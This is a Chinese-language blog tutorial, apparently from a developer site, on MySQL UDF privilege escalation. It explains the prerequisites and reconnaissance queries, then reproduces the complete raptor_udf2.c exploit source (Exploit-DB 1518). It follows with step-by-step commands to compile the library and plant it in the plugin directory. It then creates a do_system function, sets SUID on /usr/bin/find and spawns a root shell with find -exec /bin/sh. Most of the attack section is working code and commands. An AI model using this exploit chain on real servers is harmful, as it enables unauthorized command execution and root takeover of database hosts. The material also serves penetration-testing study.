MySQL UDF提权

简介

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用。

动态链接库

把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用。

原理

UDF提权主要是因为udf.dll文件,攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。

DLL文件存放目录

mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下

如果mysql大于5.1版本,没有plugin这个文件夹,需要自己创建,select @@basedir;获取安装目录

利用条件

  1. 拥有一个能够插入数据的mysql账户,最好是root

  2. mysql需要具备写入文件的权限,show variables like '%secure_file_priv%';

    secure_file_priv
    NULL表示mysql不能写入文件
    /tmp表示mysql在/tmp目录具备写的权限
    [空]表示mysql在任意目录都具备写的权限(取决于启动mysql服务的账户)
  3. 搜索EXP进行修改,并利用

案例

以1518为例(Exploit db的编号)

信息收集

1、查询是否具备写入文件的权限

show variables like '%secure_file_priv%';

2、查询mysql的版本

select @@version;

3、查询mysql的安全目录

select @@datadir;

4、查询操作系统的版本和架构

show variables like '%compile%';

5、查询插件目录

show variables like '%plugin_dir%';

6、根据收集的信息利用EXP

/*
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));				   #   文件下载的目录
 * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';	#	插件目录
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('chmod u+s /usr/bin/find');
 * exit
 * touch hello
 * find hello -exec "/bin/sh" \;
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
        unsigned int            arg_count;      // number of arguments
        enum Item_result        *arg_type;      // pointer to item_result
        char                    **args;         // pointer to arguments
        unsigned long           *lengths;       // length of string args
        char                    *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
        char                    maybe_null;     // 1 if func can return NULL
        unsigned int            decimals;       // for real functions
        unsigned long           max_length;     // for string functions
        char                    *ptr;           // free ptr for func data
        char                    const_item;     // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if (args->arg_count != 1)
                return(0);

        system(args->args[0]);

        return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
        return(0);
}

// milw0rm.com [2006-02-20]

命令集合

编译操作
# 重命名
mv ./1518.c ./raptor_udf2.c

# 编译    
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

# 将生成的so文件上传到目标机器上
数据库操作
# 切换数据
use mysql;

# 创建名为foo的表,列为line,数据类型为BLOB(二进制大型对象)
create table foo(line blob);

# 将raptor_udf2.so文件的内容作为二进制数据插入到foo表的line列中
insert into foo values(load_file('/tmp/raptor_udf2.so'));    # 文件下载的目录

# 将foo表中的所有数据导出到指定的文件中,这样可以将表的内容保存为一个文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';    # 插件目录

# 创建一个do_system函数,并调用raptor_udf2.so动态链接库
create function do_system returns integer soname 'raptor_udf2.so';

# 查看用户定义函数(UDF)信息
select * from mysql.func;

/*
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
*/

# 调用恶意函数,执行SUID操作
select do_system('chmod u+s /usr/bin/find');

/*
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)
*/
提权操作
# 退出数据库

# 利用find的SUID进行提权
touch hello
find hello -exec "/bin/sh" \;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值